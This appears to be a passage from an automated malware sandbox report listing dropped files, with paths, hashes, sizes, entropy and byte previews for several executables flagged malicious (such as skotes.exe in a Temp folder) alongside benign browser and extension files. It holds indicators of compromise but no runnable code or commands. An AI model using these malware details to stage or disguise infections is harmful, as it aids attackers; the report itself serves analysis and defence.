SHA-512:	FD5FB4F8D86A6E7904888DB7006E03EE1D49A9917B475E93DB2E8B44423B6328E0C8ADA70D8F9F066E0A6FE5C233E67AAD19A5F299F4EA5738768C01A25383D7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............K...........@...........................L...........@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..+.........................@...ynffvxyk.p...P1..n..................@...gdqldguo......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1783808
Entropy (8bit):	7.9447094148105
Encrypted:	false
SSDEEP:	49152:mMOdr/zj4S/XtSDAfPkHYuCXdrST7iEjNG:mMO93gAfSNkEi
MD5:	A2331295021CE610C36D581F0D9A13D7
SHA1:	035AB214B34013FBD5291FF7A53001B789762A4B
SHA-256:	30E787217C3B90EDBCEFB62130E1AED8630C54758ECCD691E585F9CFE525A7D6
SHA-512:	22AA46E1A00381DC344309A597BA5587B57F16E67F52DCBD92757899A6F197244E7B18F00B09A7485C58F0283368B66B5A676BDE90CA66A8A40F9AE63613D101
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........h...........@...........................h...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... . *...$......v..............@...owrujbfc......N......x..............@...llupfgfi......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	923136
Entropy (8bit):	6.593915721065409
Encrypted:	false
SSDEEP:	12288:fqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga7TF:fqDEvCTbMWu7rQYlBQcBiT6rprG8a/F
MD5:	BA6B36F33BDCDBA751B6955C246A091B
SHA1:	78177F114EF0BADDFA8B01AE0AD553B63E8FF1C4
SHA-256:	A44D411681FE0C2488F8B1933E13049C9564F4CB1F2940E5CFED1908068AAA96
SHA-512:	695E4B1F233A40BF0B8636B05A9BA1EFC79235735B5B6F7638E8B8DA519038B44D22B5894D8671C560F3FA8725946343CF62A09AFAA6774390296C89935CE2FB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L...\|;g.........."..........f......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2756096
Entropy (8bit):	6.495225463266111
Encrypted:	false
SSDEEP:	49152:Ik0lKl84k7tEHfcdddY1RiawhlPHPYLShKh1bryZ2ezpM:Ik0lKlfk7tEHfKddY176lHPZKrytM
MD5:	0C4BDA7E90E190ABC7C10EE79F1AD35A
SHA1:	7D37A4B78D933B1C0EF5EC7B80629ED5ADAAFE23
SHA-256:	261124F5A5D89A4C7D1C87163E5913A085B3F67A3A260FA63ABFF060DA402159
SHA-512:	469F437A301656BFC9F49EBA7D5C7850CF726EEB05BBA6062DAC6C42D9A7BF9410D847718F35A4D54EC48B066CC4E5BB2FADB825FDC849FFBBE333DF5237FFE3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. .............................<....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...prcghhsb..).......)..:..............@...jcsutjal. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\378e7daa-77ed-4696-8a0b-2cae8c725daa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\6f00c00f-4b60-42eb-974d-9101bcc87b10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsKECBFBAEBK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911808
Entropy (8bit):	7.947162027271207
Encrypted:	false
SSDEEP:	49152:yg7LeACmo2vX5wIPRbE9nszc+scOK5UNXWi+Y3jA:j/amNpwIP5y+svm7
MD5:	B514F48E476F41B3142900C137D2DEDD
SHA1:	1B2657D67C8EB5BDD022A371572FAF9C654778B0
SHA-256:	85AF35B6229861EC0BB595BCAAC40A68E18984BE9DA7B96FA38BA3F80AB6602B
SHA-512:	EFA5A44F9961B449EC76EE0460348F9A9E2A678A23671F7DD4FAB0DC703CBBDACEBB637278C0F872EB001F2B66ED1BA6502CEC62D7E3CEE7CF0619268F56952B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L......K....@.................................W...k.......H...................8.K..............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...tgzacnml......1.....................@...senxdaim......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b06c41d0-10d9-4d1c-8cee-72c84e87e552.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\b2540375-96ff-445c-8dda-4eb4e7fb2f31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1526849
Entropy (8bit):	7.992836060981132
Encrypted:	true
SSDEEP:	24576:5QMQCsGGddyxGx4aSfbIiIanKhmb36pi1FKg7uiHQhB3weuvfIH8/KiOgBFvsCfn:OM5cdyMQfbIxwKoN1FDKkQhB3Zgf//Ki
MD5:	AD5ADE7ECCA8C68A15024ED59170DC06
SHA1:	E9DD6EEE45D820AE8B1345189162E4D3768B73B4
SHA-256:	B936DBBF07F6AA61689263F15E4291E349735BD7B111104AF4791B7E995A2D45
SHA-512:	CED8220C0BADF8916A720F86D901CAE53014150FB6D465B47976AC8EE2D4DF6A4800B8B1977B31DDC3B6D1BF35599950A925ECAC6A4E28346BF4E10FE8277AB9
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\b79642bf-ab3e-4de9-8023-c3ff9aac0a57.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\b7c21c26-d772-48e6-bccf-d18e9e057700.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.379093790825638
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0BBHJp56BJAT0Bo5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa0B8
MD5:	AA914A2BC7910EE568BA85BB95177A93
SHA1:	7302DBB28DB4F0E79616A343185B3467709DC857
SHA-256:	0782E40B25112B9D76A6F48FCC0DC27C419DEB025A2A3AE3DED9155B42EFB170
SHA-512:	E320F6897D8ADA5B8A393A2A1ED45ECA526F07DFD7E97DAF882E37A783534A33B67AD310576EB3F06B2ACBB28C3F705D605832C16A5FEF3988E7C389CDACD487
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
